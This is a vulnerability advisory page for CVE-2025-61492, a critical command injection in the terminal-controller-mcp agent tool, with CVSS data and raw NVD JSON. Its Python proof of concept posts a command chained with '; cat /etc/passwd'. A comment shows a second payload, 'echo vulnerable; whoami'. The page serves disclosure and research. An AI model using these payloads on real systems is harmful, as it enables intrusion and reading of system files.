Security Vulnerability Report
中文
CVE-2025-61492 CVSS 10.0 CRITICAL

CVE-2025-61492

Published: 2026-01-07 18:15:51
Last Modified: 2026-01-30 01:40:39

Description

A command injection vulnerability in the execute_command function of terminal-controller-mcp 0.1.7 allows attackers to execute arbitrary commands via a crafted input.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gongrzhe:terminal-controller-mcp:0.1.7:*:*:*:*:*:*:* - VULNERABLE
terminal-controller-mcp < 0.1.8
terminal-controller-mcp = 0.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61492 PoC - Command Injection in terminal-controller-mcp # Affected: terminal-controller-mcp <= 0.1.7 import requests import json def exploit_cve_2025_61492(target_url, malicious_command): """ PoC for CVE-2025-61492 command injection vulnerability The execute_command function does not properly sanitize user input, allowing arbitrary command execution via shell metacharacters """ # Construct malicious payload with command injection # Using semicolon to chain commands payload = malicious_command + "; cat /etc/passwd" # Example API call to execute_command function endpoint = f"{target_url}/execute_command" data = { "command": payload, "args": [] } try: response = requests.post(endpoint, json=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response.json() except Exception as e: print(f"Error: {e}") return None def main(): target = "http://target-server:port" # Malicious command injection cmd = "id" exploit_cve_2025_61492(target, cmd) if __name__ == "__main__": main() # Example: Send 'echo vulnerable' to trigger command injection # Payload: echo vulnerable; whoami # This will execute both commands on the target system

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61492", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:51.117", "lastModified": "2026-01-30T01:40:38.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability in the execute_command function of terminal-controller-mcp 0.1.7 allows attackers to execute arbitrary commands via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gongrzhe:terminal-controller-mcp:0.1.7:*:*:*:*:*:*:*", "matchCriteriaId": "D6A56024-CB45-43F5-9048-4F3E91681068"}]}]}], "references": [{"url": "https://github.com/GongRzhe/terminal-controller-mcp", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/GongRzhe/terminal-controller-mcp/issues/7", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/cfdude/super-shell-mcp/issues/19", "source": "[email protected]", "tags": ["Not Applicable"]}]}}